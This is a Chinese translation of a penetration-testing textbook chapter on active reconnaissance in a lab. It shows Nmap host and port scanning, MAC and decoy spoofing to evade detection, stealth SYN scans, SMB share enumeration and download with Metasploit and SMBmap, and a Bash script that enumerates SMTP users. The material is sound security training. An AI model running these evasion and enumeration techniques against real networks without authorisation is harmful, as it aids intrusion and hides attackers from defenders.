Kali Linux 终极之书第三版(二)
原文:
annas-archive.org/md5/615b11106b3e7a60eb3c9636d32097a1译者:飞龙
第六章:6 主动侦察
加入我们的 Discord 书籍社区
packt.link/SecNet 收集更多关于目标的信息可以帮助道德黑客和渗透测试人员在网络攻击链的武器化阶段改进漏洞利用的开发,并确定将恶意载荷传递给目标的最佳方法。主动侦察帮助你收集那些非公开的信息,比如哪些服务正在运行、目标系统上有多少端口。例如,如果你正在针对一个 web 服务器,识别该 web 应用程序及其版本是非常重要的。此外,识别托管该 web 应用程序的操作系统也会非常有用。在本章中,您将了解在道德黑客和渗透测试评估中,针对目标系统、网络和组织时,主动侦察技术的必要性。您将探索常用的主动扫描技术,这些技术通常用于识别活动系统、开放端口和正在运行的服务。此外,您还将探索经验丰富的渗透测试人员用来对系统进行分析并识别其攻击面的方法,这些方法有助于改善他们的攻击计划。最后,您将学习如何对常见的网络服务进行枚举,并识别一个组织是否在其云平台上泄露数据。在本章中,我们将涵盖以下内容:
-
理解主动信息收集
-
使用 EyeWitness 对网站进行分析
-
探索主动扫描技术
-
枚举常见的网络服务
-
发现云中的数据泄露
让我们深入了解!
技术要求
为了跟随本章的练习,请确保您已满足以下硬件和软件要求:
-
Kali Linux -
www.kali.org/get-kali/ -
EyeWitness -
github.com/RedSiege/EyeWitness -
S3Scanner -
github.com/sa7mon/S3Scanner
理解主动信息收集
使用主动侦察技术使道德黑客和渗透测试人员能够采取更直接的方式与目标进行接触。例如,许多主动侦察技术涉及在攻击者机器(如 Kali Linux)和目标系统之间建立一个逻辑网络连接。通过主动侦察,您可以发送特制的探测包,收集如下一些特定细节:
-
确定网络中有多少活动主机。
-
确定目标系统是否在线。
-
识别开放的端口号和正在运行的服务。
-
对目标机器上的操作系统进行分析。
-
确定目标系统是否有任何网络共享。
因此,在发起任何类型的基于网络的攻击之前,确定网络上是否有在线的系统和目标是否在线非常重要。试想,如果你对一个特定系统发起攻击,却发现目标离线,攻击就会失败。因此,针对离线设备发起攻击是没有意义的,因为它将无法响应,且可能增加被组织安全团队检测到的风险。
与利用来自公共数据源的开源情报(OSINT)进行被动侦察不同,使用主动侦察技术确实增加了被目标安全系统检测到并触发警报的风险。因此,在规划阶段,考虑每种攻击类型的威胁等级非常重要。
与对抗者相比,伦理黑客和渗透测试人员使用类似的技术来模拟真实的网络攻击,识别真实攻击者如何收集和利用信息来发现安全漏洞并破坏其目标。在下一部分,你将学习如何自动化截取目标域和网络系统截图的过程。
使用 EyeWitness 对网站进行分析
在互联网上发现目标组织的附加子域后,你应该怎么做?一种常见且显而易见的做法是访问每个子域,查看它是否指向一个容易被利用的脆弱网络应用或系统,从而获得进入目标组织网络的机会。然而,如果你需要访问一个目标组织的 100 个以上子域,手动访问每个子域可能会非常耗时。作为一名有志的伦理黑客和渗透测试人员,使用像EyeWitness这样的工具可以帮助你自动化检查和截取每个子域的截图。开始使用 EyeWitness,请按照以下说明操作:
- 启动 Kali Linux 虚拟机,打开 Terminal,然后使用以下命令克隆 EyeWitness 仓库:
kali@kali:~$ git clone https://github.com/RedSiege/EyeWitness
- 接下来,执行
setup.py脚本来安装 EyeWitness,使用以下命令:
kali@kali:~$ cd EyeWitness/Python/setup
kali@kali:~/EyeWitness/Python/setup$ sudo ./setup.sh
- 接下来,使用
cd ..命令向上移动一个目录,如下所示:
kali@kali:~/EyeWitness/Python/setup$ cd ..
- 接下来,使用以下命令在
/home/kali/目录中创建一个新文本文件,并在其中写入目标子域:
kali@kali:~/EyeWitness/Python$ touch /home/kali/eyewitness_targets.txt
kali@kali:~/EyeWitness/Python$ echo https://example.com/ > /home/kali/eyewitness_targets.txt
touch <filename>命令允许你在 Linux 中创建一个新文件。echo命令允许你在文件中写入内容。
- 接下来,使用以下命令让 EyeWitness 捕捉
eyewitness_targets.txt文件中找到的每个子域的截图:
kali@kali:~/EyeWitness/Python$ ./EyeWitness.py --web -f /home/kali/eyewitness_targets.txt -d /home/kali/EyeWitness_Screenshots --prepend-https
以下是前述命令中使用的每种语法的详细说明:
-
--web:指定截取 HTTP 截图。 -
-f:指定包含目标域和子域列表的源文件。 -
-d:指定输出目录以保存结果和报告。 -
--prepend-https:指定在域名和子域名前添加http://和https://。
下图展示了捕获截图的过程:
如果你输入Y并按回车,EyeWitness 报告将自动加载并在网页浏览器中打开,如下所示:
如你所见,使用像 EyeWitness 这样的工具,相比手动检查每个子域,可以节省大量时间。你可以快速浏览生成报告中的每张图片,以识别目标域名上的登录门户和敏感目录。
要了解更多关于 EyeWitness 的信息,请访问:
github.com/RedSiege/EyeWitness,并使用./EyeWitness.py –h命令查看帮助菜单。
完成本节后,你已经学会了如何使用 EyeWitness 自动化捕获多个网站的截图。在下一节中,你将探索各种扫描和指纹识别技术。
探索主动扫描技术
作为一名有志的伦理黑客和渗透测试员,建立扎实的基础,理解如何利用扫描技术高效发现并概述目标系统在组织网络中的情况至关重要。许多组织专注于保护其外围网络,但有时没有给予内部网络足够的安全关注。你会发现,超过 90%的网络攻击或威胁通常源自内部网络。因此,许多组织认为攻击者会从互联网发起攻击,然后被他们的基于网络的防火墙拦截。下图展示了防火墙典型部署的简化概览:
如前面的图示所示,基于网络的防火墙作为组织内部网络和互联网之间的边缘设备实现。它的角色之一是过滤网络之间的流量,防止恶意流量通过防火墙进入另一侧,无论是来自互联网并指向组织内部系统的恶意流量,还是反向流量。然而,威胁行为者一直在不断学习组织如何实现其基础设施和安全解决方案,以及领导团队和 IT 专业人员在保护资产时所做的决策。尽管许多组织在投资网络防御以确保其资产和人员免受敌对行为者和网络攻击的侵害,但世界上仍有很多组织没有防火墙,网络设备和安全设备配置错误,操作系统没有打补丁。比喻来说,敌人发现这个“金矿”并开始以地取利只是时间问题。在网络杀伤链和常见渗透测试方法的侦察阶段,伦理黑客和渗透测试人员最终需要直接与目标接触,收集那些无法通过开放源信息(OSINT)获得的信息,并使用主动侦察技术,如扫描和枚举。扫描是一种威胁行为者用来发现网络中活跃系统、识别系统上的开放服务端口,并发现主机机器上的漏洞,甚至是它们的操作系统架构的技术。通过扫描收集到的信息帮助渗透测试人员比被动信息收集更清晰地了解他们的目标。
不要对你没有所有权或没有合法许可的系统和网络进行任何形式的扫描。扫描在许多国家被视为非法行为。
渗透测试人员需要不断提升他们的批判性思维,以像真正的威胁行为者一样思考,特别是当他们想对一个目标组织进行成功的渗透测试时。在本节中,你将学习如何对目标网络执行扫描的各种技术和方法,以及如何对系统进行建模。
更改你的 MAC 地址
网络接口卡(NIC)是一个网络适配器,使得系统能够通过有线或无线网络进行通信。例如,在设备通过网络发送数据之前,NIC 将消息转换成可以通过介质传输的信号,比如铜缆的电信号、光纤的光信号和无线通信的射频信号。此外,设备上的每个 NIC 都包含一个全球唯一的媒体访问控制(MAC)地址,有时被称为固化地址,理论上是不可更改的。在设备通过网络传输数据之前,发送方设备会自动将源和目的 MAC 地址插入到消息的帧头中。源 MAC 地址帮助接收方识别消息的发送者,目的 MAC 地址帮助网络交换机将消息转发到目标地址。MAC 地址是一个 48 位地址,采用十六进制表示。地址的前 24 位被称为组织唯一标识符(OUI),它帮助 IT 专业人员确定设备的供应商。而地址的后 24 位则由供应商唯一分配。因此,当你的 NIC 在网络上发送流量时,你的真实 MAC 地址也会被插入到帧头中,这些信息可以用来识别你在网络上的机器。作为一名有志的渗透测试者,你可以通过使用一个预装工具MAC Changer来改变你以太网和无线网络适配器的 MAC 地址。改变你的 MAC 地址可以让你欺骗网络中的其他设备,让它们认为你的系统是一个属于组织网络基础设施的常见设备,比如网络设备、打印机或供应商特定设备。这种技术通常用于保护攻击者机器的身份,绕过网络设备的 MAC 过滤规则,并在目标网络上避开网络限制。要学习如何使用MAC Changer更改你的 MAC 地址,请按照以下说明操作:
- 启动Kali Linux虚拟机,并使用
ifconfig命令确定网络适配器的原始 MAC 地址,如下所示:
如上图所示,ifconfig命令被用来显示 Kali Linux 虚拟机上所有连接的网络适配器。此外,这个命令还使我们能够查看每个网络适配器上的原始 MAC 地址,在ether字段中显示。
- 接下来,使用以下命令逻辑性地关闭eth0接口:
kali@kali:~$ sudo ifconfig eth0 down
- 接下来,使用
macchanger --help命令查看可用选项列表,如下所示:
- 接下来,使用以下命令在eth0网络适配器上设置一个随机的 MAC 地址:
kali@kali:~$ sudo macchanger -A eth0
下图显示了 eth0 网络适配器的当前、永久和新生成的 MAC 地址:
- 接下来,通过使用以下命令重新启用 eth0 接口:
kali@kali:~$ sudo ifconfig eth0 up
- 接下来,再次使用
ifconfig命令来验证 eth0 是否具有伪造的 MAC 地址,如下所示:
- 最后,为了进一步验证伪造的 MAC 地址的供应商,请访问
macvendors.com/,并输入 MAC 地址,如下所示:
完成此练习后,你已经学会了如何在 Kali Linux 上伪造 MAC 地址。然而,重要的是要考虑使用与常见网络设备或系统供应商相关的 MAC 地址,以减少被组织安全团队检测到的风险。接下来,你将学习如何执行主机发现,以识别内部网络上的活动系统。
执行主机发现
在目标网络上发现活动主机是进行渗透测试时的一个重要阶段。假设你是一名道德黑客或渗透测试员,你的目标组织允许你将攻击者机器直接连接到他们的网络,并对其内部网络进行安全测试。你迫不及待地想开始发现安全漏洞并入侵系统,但你不确定目标主机是否在线。在本节中,你将学习使用各种工具和技术进行对组织网络的多种主动侦察所需的技能。为了确保你能在安全的空间中执行这些练习,请遵循以下指南:
-
确保你不会扫描你不拥有或没有获得合法许可的系统。
-
确保 Kali Linux 的网络适配器已在 Oracle VM VirtualBox Manager 中分配给 PentestNet 网络。
-
PentestNet 网络将作为我们模拟的组织网络。
要开始此练习,请使用以下说明:
-
打开 Kali Linux、Metasploitable 2 和 Metasploitable 3(Windows 版本)虚拟机。
-
在 Kali Linux 上,打开 Terminal,然后使用
ifconfig或ip address命令来确定你的攻击者机器(Kali Linux)是否连接到目标网络(172.30.1.0/24),如下所示:
作为一名有志的道德黑客和渗透测试员,在进行内部网络渗透测试时,验证你的攻击者机器是否在目标网络上拥有有效的 IP 地址和子网掩码是非常重要的。正如前面的截图所示,eth1 已连接到 PentestNet 环境,这是我们目标网络。
请记住,有线网络适配器标识为 eth,无线适配器标识为 wlan。
此外,inet字段包含了分配给 Kali Linux 虚拟机接口的 IP 地址。然而,前面截图中显示的 IP 地址可能与你机器上的地址不同,只要它在172.30.1.0/24网络上即可。进一步说,识别网络适配器上的 IP 地址将帮助我们在接下来的步骤中排除对自己机器的扫描。
道德黑客和渗透测试人员通常需要在对内部网络进行主机发现之前,确定网络的网络 ID 和 IP 地址范围。虽然建议在学习网络安全和渗透测试之前先打好网络基础,但以下网站是一个在线子网计算器,可以帮助你确定 IP 范围等更多内容:
www.calculator.net/ip-subnet-calculator.html。
- 接下来,我们使用Netdiscover在PentestNet环境(
172.30.1.0/24)中进行被动扫描,使用以下命令:
kali@kali:~$ sudo netdiscover -p -i eth1
-i语法通常用于指定监听接口,使用-p语法进行被动扫描,使 Netdiscover 能够捕获并分析网络上的地址解析协议(ARP)消息,通过分析源和目标的 IP 和 MAC 地址帮助我们识别网络上的在线主机,如下所示:
如前面的截图所示,Netdiscover 提供了目标网络中在线系统的 IP 地址、MAC 地址、厂商和主机名。其中,172.30.1.48分配给了 Metasploitable 3 – Windows,而172.30.1.49则分配给了 Metasploitable 2 虚拟机。此外,利用 MAC 厂商信息有助于我们确定网络上设备的类型,并且在研究特定系统的安全漏洞时非常有用。
- 接下来,要使用 Netdiscover 进行主动主机发现扫描,请使用以下命令:
kali@kali:~$ sudo netdiscover -r 172.30.1.0/24 -i eth1
由于主动扫描不等待 ARP 消息,Netdiscover 会向172.30.1.0/24网络内所有可用的 IP 地址发送自己的探测请求。只有在线的系统才会响应,这使得 Netdiscover 能够分析每个响应消息,识别网络中在线主机的 IP 和 MAC 地址,如下所示:
- 接下来,我们使用Network Mapper(Nmap)对整个目标网络进行ping 扫描,并在扫描过程中排除我们的攻击者机器,使用以下命令:
kali@kali:~$ nmap -sn 172.30.1.0/24 --exclude 172.30.1.50
Ping 扫描是一种基本的扫描技术,IT 专业人员用它来确定网络中哪些系统在线。它是通过自动化的过程对网络中的每个可用 IP 地址进行 ping 操作,并观察哪些设备做出响应。然而,操作系统中的ping工具会发送互联网控制消息协议(ICMP)回显请求消息到目标,存活的系统会以ICMP 回显应答消息进行响应。网络安全专业人士通常会在关键系统上禁用 ICMP 响应,这是一个常见的安全做法,这样可以降低新手黑客发现在线主机的可能性。因此,如果攻击者发送ICMP 回显请求消息到配置为不响应的系统,初学者攻击者可能会认为目标系统离线。另一方面,熟练的威胁行为者和渗透测试人员了解传输控制协议/互联网协议(TCP/IP)网络模型中的安全漏洞,可以绕过这一小型安全机制,转而向目标系统的特定端口发送传输控制协议(TCP)消息。这种技术利用了 TCP 的设计,欺骗目标系统做出响应,表明它在网络上是存活的。以下截图显示了网络中有两个存活的主机,172.30.1.48和172.30.1.49:
Nmap 中的-sn语法用于指定 ping 扫描,但 Nmap 不会向目标发送 ICMP 消息。相反,Nmap 会向目标系统的特定端口发送 TCP 消息,如下面 Wireshark 数据包捕获所示:
Nmap 发送特别构造的 TCP 同步(SYN)数据包到目标主机,目的是触发来自存活/在线主机的 TCP 重置(RST)或 TCP 确认(ACK)响应。
要了解更多关于 TCP 如何通过 TCP 三次握手与目标主机建立连接的信息,请参见:
hub.packtpub.com/understanding-network-port-numbers-tcp-udp-and-icmp-on-an-operating-system/。
在网络中识别存活主机有助于道德黑客和渗透测试人员创建网络拓扑,并在进一步分析目标之前,确认目标是否在线。接下来,您将学习如何识别开放端口、正在运行的服务并确定目标的操作系统。
识别开放端口、服务和操作系统
在执行主机发现后,下一步是识别目标系统上的任何开放端口,并确定这些开放端口映射到哪些服务。渗透测试者可以使用各种技术来识别目标系统上的开放端口。有些技术是手动的,而其他技术可以简单地使用 Nmap 工具自动化。要开始使用 Nmap 进行指纹识别,请使用以下说明:
-
首先确保Kali Linux、Metasploitable 2和Metasploitable 3(Windows 版本)虚拟机已启动。
-
在Kali Linux上打开终端,并使用以下命令执行基本的 Nmap 扫描,以确定 Metasploitable 3(Windows 版本)虚拟机上是否有任何前 1000 个端口是打开的:
kali@kali:~$ nmap 172.30.1.48
如下截图所示,Nmap 指示有 20 个 TCP 开放端口,并提供其关联服务的名称:
使用此扫描的信息使您能够开始指纹识别您的目标系统。作为渗透测试者,您可以确定哪些端口是打开的,并了解它们如何作为进入目标的入口点,并寻找运行服务的安全漏洞。
作为一名有抱负的道德黑客和渗透测试者,如果你一开始不理解系统上服务端口的角色和功能,那没关系。然而,建议对你不熟悉的内容进行研究,以更好地理解技术或主题。例如,有许多服务端口,每个端口都与特定的应用层服务相关联,如 TCP 端口 443 与超文本传输安全协议(HTTPS)协议相关联,用于安全的网络通信。
- 接下来,让我们执行高级扫描,以识别目标系统的操作系统、服务版本,并检索服务器消息块(SMB)的详细信息,使用以下命令:
kali@kali:~$ nmap -A -T4 -p- 172.30.1.48
让我们看看在前述命令中使用的每个语法:
-
-A:这使 Nmap 能够对目标进行分析,以识别其操作系统、服务版本和脚本扫描,同时执行跟踪路由。 -
-T:此语法指定了扫描的时间选项,范围从 0 到 5,其中 0 非常缓慢,5 最快。此命令有助于防止向目标系统发送太多探测,从而可能触发警报。 -
-p:使用-p语法允许您指定要在系统上标识为打开或关闭的目标端口。您可以指定-p80仅在目标上扫描端口 80,并使用-p-扫描所有 65,535 个开放端口。
默认情况下,Nmap 仅扫描 TCP 端口。因此,如果目标在用户数据报协议(UDP)服务器端口上运行服务,您可能会错过它。要在端口或端口范围上执行 UDP 扫描,请使用
-p U:53命令,其中 53 是目标端口号。
以下截图显示了扫描结果的上半部分:
如上图所示,Nmap 能够提取更多关于目标的详细信息,如与开放端口相关联的每个服务的版本号。它还能够执行 banner grabbing,并确定每个服务是否有认证系统/登录机制。以下截图显示了相同扫描结果的下半部分:
如上图所示,Nmap 能够识别目标主机的操作系统为 Windows Server 2008 R2,且安装了 Service Pack 1。此外,Nmap 还能够确定系统的主机名,并根据工作组名称判断该系统是否连接到域。如果一个基于 Windows 的系统没有连接到域控制器(DC),则默认的工作组名称为 Workgroup。此外,Nmap 扫描还能够进行基础的 SMB 扫描来识别操作系统,这也表明目标系统可能存在文件和打印共享服务。以下是 Nmap 扫描过程中可以使用的其他语法:
-
-Pn– 此语法使 Nmap 在扫描目标系统时跳过主机发现阶段,直接认为目标系统是在线的。 -
-sU– 此语法允许 Nmap 对目标系统执行 UDP 端口扫描。此命令对于识别是否有服务在 UDP 端口上运行非常有用,相对于 TCP 端口号,它帮助识别 UDP 服务。 -
-p– 此命令允许你指定扫描的端口范围或某些特定端口是否在系统上开放。使用nmap -p 50-60、nmap -p 80,443或nmap -p 22可以扫描端口范围、端口组或特定端口号。然而,使用nmap -p-表示扫描所有 65,535 个端口号,请注意,默认情况下 Nmap 扫描的是 TCP 端口。 -
-sV– 此语法使你能够执行服务版本识别,了解目标系统上运行的服务版本。例如,Nmap 的基本扫描可能显示端口 23 是开放的,并与Telnet 服务相关联。作为一名道德黑客,了解该服务的版本非常重要。因此,使用nmap -sV <targeted system>命令可以识别该服务的版本,这在研究目标的安全漏洞时非常有用。 -
-6– 使用此语法可以让 Nmap 执行针对目标 IPv6 网络或拥有 IPv6 地址的主机的扫描。
此外,伦理黑客和渗透测试人员可以利用Ping工具,通过分析目标 ICMP 响应消息中的生存时间(TTL)值来识别目标的操作系统。例如,基于 Windows 的操作系统回复的默认 TTL 值为128,而基于 Linux 的系统则回复的默认 TTL 值为64。为了更好地理解 ICMP 如何帮助我们识别目标机器的操作系统,请参考以下说明:
- 在Kali Linux上,使用以下命令向 Metasploitable 3(Windows 版本)虚拟机发送 4 个 ICMP ECHO 请求消息:
kali@kali:~$ ping 172.30.1.48 -c 4
如下图所示,所有 ICMP 响应的 TTL 值为128,这表明目标系统正在运行某个版本的 Windows 操作系统:
- 接下来,使用以下命令向 Metasploitable 2 虚拟机发送 4 个 ICMP ECHO 请求消息:
kali@kali:~$ ping 172.30.1.49 -c 4
如下图所示,ICMP 响应的 TTL 值为64,这表明目标系统正在运行某个版本的 Linux:
作为一名有抱负的伦理黑客和渗透测试人员,识别操作系统、开放端口和运行的服务有助于你更好地分析目标,并识别其安全漏洞。通过识别安全漏洞,你可以在开发利用工具阶段和攻击计划阶段做出改进。简单来说,针对 Windows 操作系统的漏洞利用或有效载荷很可能在 Linux 系统上无法运行,反之亦然。到目前为止,你已经学会了如何发现开放端口、服务版本、操作系统和 SMB 版本。接下来,你将学习如何在使用 Nmap 进行主动扫描时,避免被检测。
使用扫描规避技术
每当数据包从一个设备发送到另一个设备时,源 IP 地址都会包含在数据包的头部。这是 TCP/IP 网络模型的默认行为;所有地址信息必须包含在所有数据包中,然后才能被放置到网络上。在作为伦理黑客和渗透测试人员进行扫描时,我们尽量避免被检测,以确定目标组织的安全团队是否具备检测模拟网络攻击的能力。在实际的网络攻击中,如果一个组织无法检测到其网络和系统上的可疑活动和安全事件,攻击者可以轻松达成其目标而不受阻碍。然而,如果一个组织能够在活动一发生时就检测到可疑行为,安全团队可以迅速采取行动,遏制并阻止威胁,同时保护组织的资产。在渗透测试中,模拟真实的网络攻击至关重要,以测试目标组织的威胁检测和缓解系统。
通过诱饵避免被检测
由于其先进的扫描能力,Nmap 通常被认为是网络扫描器领域的“王者”。Nmap 使渗透测试人员在扫描目标系统时能够使用诱饵地址。这种扫描技术让目标系统误以为扫描源来自多个来源,而不是攻击者机器的单一 IP 地址。要开始此练习,请按照以下说明操作:
- 启动Kali Linux、Metasploitable 2和Metasploitable 3(Windows 版本)虚拟机。Kali Linux 将作为攻击者机器,Metasploitable 2 将作为目标系统,而 Metasploitable 3 – Windows 虚拟机将作为诱饵,如下图所示:
请确保识别这些系统的 IP 地址,因为它们可能与之前的图示不同。使用前一部分的扫描技术将帮助您轻松识别 IP 地址。
- 接下来,要使用诱饵执行 Nmap 扫描,请使用以下命令:
kali@kali:~$ sudo nmap 172.30.1.49 -D 172.30.1.48
使用-D语法可以让你指定一个或多个诱饵地址。在 Nmap 使用诱饵地址之前,它会首先检查每个诱饵系统是否为网络上的活动主机,如果某个地址不可达,它将在扫描中排除该离线地址。以下截图展示了扫描的预期结果:
如果目标组织的安全团队正在密切监控其内部网络中的数据包,并且识别到端口扫描正在进行,他们有可能判断扫描源来自您的 IP 地址。然而,诱饵功能将会在来自攻击者机器的各个数据包中包含诱饵地址,如下所示:
因此,在 Nmap 扫描期间使用更多的诱饵地址将降低安全分析员追溯扫描来源到您的 IP 地址的风险。然而,安全分析员是经过良好训练的专业人士,通常具备快速识别其网络基础设施中威胁所需的工具和技能。
使用 MAC 和 IP 伪装技术
Nmap 就像是扫描工具的瑞士军刀,拥有许多扫描功能,可以帮助规避检测。Nmap 允许渗透测试人员伪装其 Kali Linux 机器的 MAC 和 IP 地址。以下是使用 Nmap 的常见 MAC 和 IP 伪装技术:
- 要使用随机化的 MAC 地址执行 Nmap 扫描,请使用以下
--spoof-mac 0命令:
kali@kali:~$ sudo nmap --spoof-mac 0 172.30.1.49
以下截图展示了 Nmap 在执行目标系统扫描之前生成了一个随机的 MAC 地址:
此外,以下截图展示了使用 Wireshark 捕获的数据包,以进一步验证 Nmap 使用了随机化的地址作为源 MAC 地址:
- 要使用特定厂商的伪造 MAC 地址在目标系统上执行 Nmap 扫描,只需包含厂商名称,并使用以下命令:
kali@kali:~$ sudo nmap -sT -Pn --spoof-mac hp 172.30.1.49
下图展示了 Nmap 使用 HP MAC 地址作为源地址的情况:
要了解 Nmap 的各种功能,请使用
nmap -h和man nmap命令查看帮助菜单和手册页。
完成本部分后,你已经学习了如何在网络上执行扫描并避开检测。接下来,你将学习如何使用 Nmap 执行隐蔽扫描。
隐蔽扫描技术
默认情况下,Nmap 在目标系统的任何开放 TCP 端口上建立 TCP 三次握手。一旦攻击者机器与目标系统之间建立了握手,数据包将在每台主机之间交换。下图展示了 TCP 三次握手过程,其中主机 A 正在初始化与主机 B 的通信:
在渗透测试过程中,尽可能保持隐蔽非常重要。这会产生一种真实对手尝试入侵网络中目标系统的效果,而不被组织的安全解决方案捕捉到。然而,通过与目标设备建立 TCP 三次握手,我们实际上是在暴露自己给目标。通过使用 Nmap,我们可以在目标和我们的攻击者系统之间执行隐蔽扫描(半开放)。隐蔽扫描不会完成整个 TCP 三次握手,而是在连接完全建立之前重置连接。下图展示了 Nmap 隐蔽扫描过程中 TCP 数据包的交换:
如上图所示:
-
攻击者通过向目标系统的特定端口发送TCP SYN数据包来欺骗目标,判断该端口是否开放。
-
然后,如果端口开放,目标系统将以TCP SYN/ACK数据包进行响应。
-
最后,攻击者将向目标发送TCP RST数据包,以重置并终止连接。
要开始学习隐蔽扫描技术,请使用以下指令:
-
打开Kali Linux和Metasploitable 2虚拟机。
-
在Kali Linux上,打开终端并使用以下命令对 Metasploitable 2 进行隐蔽扫描,以确定端口 80 是否开放:
kali@kali:~$ sudo nmap -sS -p 80 172.30.1.48
使用-sS语法表示隐蔽扫描,-p操作符允许我们指定目标端口。下图展示了 Nmap 识别到目标系统的端口 80 已开放:
下图展示了 Kali Linux(172.30.1.50)与目标系统(172.30.1.48)在隐蔽扫描过程中的数据包交换:
如前所示,Nmap 发送了一个带目标端口 80 的TCP SYN数据包,以识别目标系统的端口 80 上是否有运行的服务。目标系统按预期响应了一个TCP SYN/ACK数据包,但攻击者机器发送了一个TCP RST数据包,以重置并终止连接。因此,在隐身扫描期间,攻击者机器(Kali Linux)与目标系统之间没有建立网络连接。然而,值得注意的是,那些积极监控网络流量以防范安全事件的资深网络安全专业人员,可以轻易识别出是否有攻击者正在对其网络进行隐身扫描。完成本节后,你已经学会了如何执行各种类型的扫描技术,以识别网络上的存活主机、分析其运行的服务和操作系统。在下一节中,你将学习如何从易受攻击的系统中枚举常见服务和网络共享。
枚举网络服务
在扫描过程中,你会注意到目标系统上运行着一些常见的网络服务。收集这些网络服务的更多信息可以帮助你进一步识别共享网络资源,如共享目录、打印机和文件共享。有时,这些网络服务配置不当,可能导致攻击者获得对存储在服务器和其他系统中的敏感数据的未授权访问。接下来的几个子章节中,你将学习如何枚举常见的网络服务,如服务器消息块(SMB)、简单邮件传输协议(SMTP)和简单网络管理协议(SNMP)。
枚举 SMB 服务
服务器消息块(SMB)是一种常见的网络服务,允许主机将资源(如文件)共享给网络中的其他设备。作为一名有抱负的道德黑客和渗透测试员,建议在渗透测试的范围内一旦可行,就开始枚举文件共享服务。要开始枚举目标系统上的 SMB 服务,请按照以下说明操作:
-
启动Kali Linux和Metasploitable 2虚拟机。
-
在Kali Linux上,打开终端并使用以下命令启动 Metasploit 框架:
kali@kali:~$ msfconsole
- 在 Metasploit 框架加载后,使用
search命令结合smb_version搜索词快速定位模块:
msf6 > search smb_version
如下截图所示,搜索结果仅显示一个可用模块,可以用来识别目标系统是否正在运行 SMB 以及其版本:
- 接下来,使用以下命令加载模块并显示其选项:
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > options
使用options或show options命令可以显示加载模块中的当前设置,并帮助你确定是否需要在执行模块之前进行额外配置,如下所示:
如前面截图所示,有两个必需的设置。一是RHOSTS或目标设置,另一个是应用于进程的线程数。请注意,RHOSTS设置为空。
- 接下来,使用以下命令将目标系统(Metasploitable 2)设置为
RHOSTS并执行模块:
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 172.30.1.49
msf6 auxiliary(scanner/smb/smb_version) > run
run命令通常用于执行 Metasploit 框架中的辅助模块,而exploit命令用于执行漏洞利用模块。
以下截图显示 Metasploit 能够检测到目标系统正在运行 SMB 及其版本:
使用
exit命令退出 Metasploit 框架并返回到终端中的 BASH shell。
始终建议使用多个工具来枚举目标系统上正在运行的服务,因为可能有一个工具无法识别某些重要内容。有时候,渗透测试人员可能偏向使用 Metasploit,因为它包含许多辅助模块来扫描和枚举服务,而其他人则偏好 Nmap。然而,我建议你熟悉这两款工具,它们都非常优秀,并且在各种情况下都很有用。既然目标系统上已经发现了 SMB,我们可以使用SMBmap来枚举目标中的文件和共享驱动器。要开始使用 SMBMap,请按照以下说明操作:
-
确保Kali Linux和Metasploitable 2虚拟机已开启。
-
在Kali Linux中,使用以下命令在终端中识别目标系统(Metasploitable 2)是否正在运行 SMB 服务:
kali@kali:~$ nmap -p 139,445 172.30.1.49
- 以下截图显示 Nmap 能够识别目标系统的端口 139 和 445 是开放的:
- 接下来,使用 SMBmap 来识别目标系统是否有任何网络共享:
kali@kali:~$ smbmap -H 172.30.1.49
如下图所示,目标系统(Metasploitable 2)有一些共享驱动器,其中大多数无法通过网络访问,只有tmp资源可用:
如前面截图所示,SMBmap 工具能够提供每个网络共享的权限和评论。这些信息对于帮助道德黑客和渗透测试人员识别敏感目录并收集不安全网络共享中的数据非常有用。
- 接下来,使用以下命令显示目标系统中tmp目录的内容:
kali@kali:~$ smbmap -H 172.30.1.49 -r tmp
如下图所示,SMBmap 能够访问tmp目录,因为没有配置身份验证机制来限制未认证的访问:
- 接下来,使用以下命令将tmp目录的所有内容下载到 Kali Linux 机器中,首先在 Kali Linux 中创建一个新目录(文件夹)并下载文件:
kali@kali:~$ mkdir smb_files
kali@kali:~$ cd smb_files
kali@kali:~/smb_files$ smbmap -H 172.30.1.49 --download .\tmp\*
以下截图展示了前述命令的执行:
完成这一部分后,你已经学会了如何使用 Metasploit 和 SMBMap 进行 SMB 枚举。在下一部分中,你将学习如何进行 SMTP 枚举。
枚举 SMTP 服务
枚举 SMTP 服务可以帮助道德黑客和渗透测试人员收集关于电子邮件服务的信息,并识别目标系统中的有效用户账户。要开始这个练习,请按照以下指示操作:
-
启动Kali Linux和Metasploitable 2虚拟机。
-
在Kali Linux中,打开终端并使用Netcat检查目标系统(Metasploitable 2)上的端口 25 是否开放,并识别正在运行的服务:
kali@kali:~$ nc -nv 172.30.1.49 25
-
接下来,使用
VRFY root命令检查root是否为有效用户。 -
接下来,使用
VRFY toor命令检查toor是否为有效用户,如下所示:
如上图所示,Netcat 成功地在端口 25 与目标系统建立了连接,进一步确认了 SMTP 正在运行。当执行VRFY root命令时,电子邮件服务的响应表明该用户存在。然而,当检查无效用户时,电子邮件服务返回了错误信息。
- 手动检查目标系统中的每个可能用户名可能会非常耗时。为了帮助自动化 SMTP 枚举过程,我们可以创建一个简单的 BASH 脚本,输入预定义的用户名列表并在目标系统上进行查询。使用以下命令创建一个新的脚本:
kali@kali:~$ nano smtp_user_enum.sh
一旦 Nano 命令行文本编辑器打开,输入以下代码,确保完全一致:
#!/bin/bash
if [ $# -ne 2 ]; then
echo "Usage: $0 <target_ip> <email_list>"
exit 1
fi
target_ip="$1"
email_list="$2"
echo "Starting SMTP user enumeration..."
while IFS= read -r email; do
# Construct the SMTP communication
( sleep 1; echo "HELO example.com"; sleep 1; echo "VRFY $email"; sleep 1; echo "QUIT" ) | nc -nv $target_ip 25 | grep -q "252 2.0.0"
if [ $? -eq 0 ]; then
echo "User found: $email"
fi
done < "$email_list"
echo "SMTP user enumeration finished."
完成前面的代码输入后,通过按下CTRL + X,然后按Y和Enter键保存脚本。
- 接下来,使用以下命令在 Kali Linux 上使新保存的脚本可执行:
kali@kali:~$ chmod +x smtp_user_enum.sh
- 使用脚本时,
./smtp_user_enum.sh <target> <wordlist>语法可以让你在目标系统上启动 SMTP 枚举,命令示例如下:
kali@kali:~$ ./smtp_user_enum.sh 172.30.1.49 /usr/share/wordlists/seclists/SecLists-master/Usernames/top-usernames-shortlist.txt
以下截图显示了在脚本运行过程中识别到的有效用户名:
识别并利用有效的用户名和账户可以帮助渗透测试人员在目标系统上获得未授权的访问权限。完成本练习后,你已经掌握了 SMTP 枚举的实际操作技能。接下来,你将学习如何在目标主机上枚举 SNMP 服务。
枚举 SNMP 服务
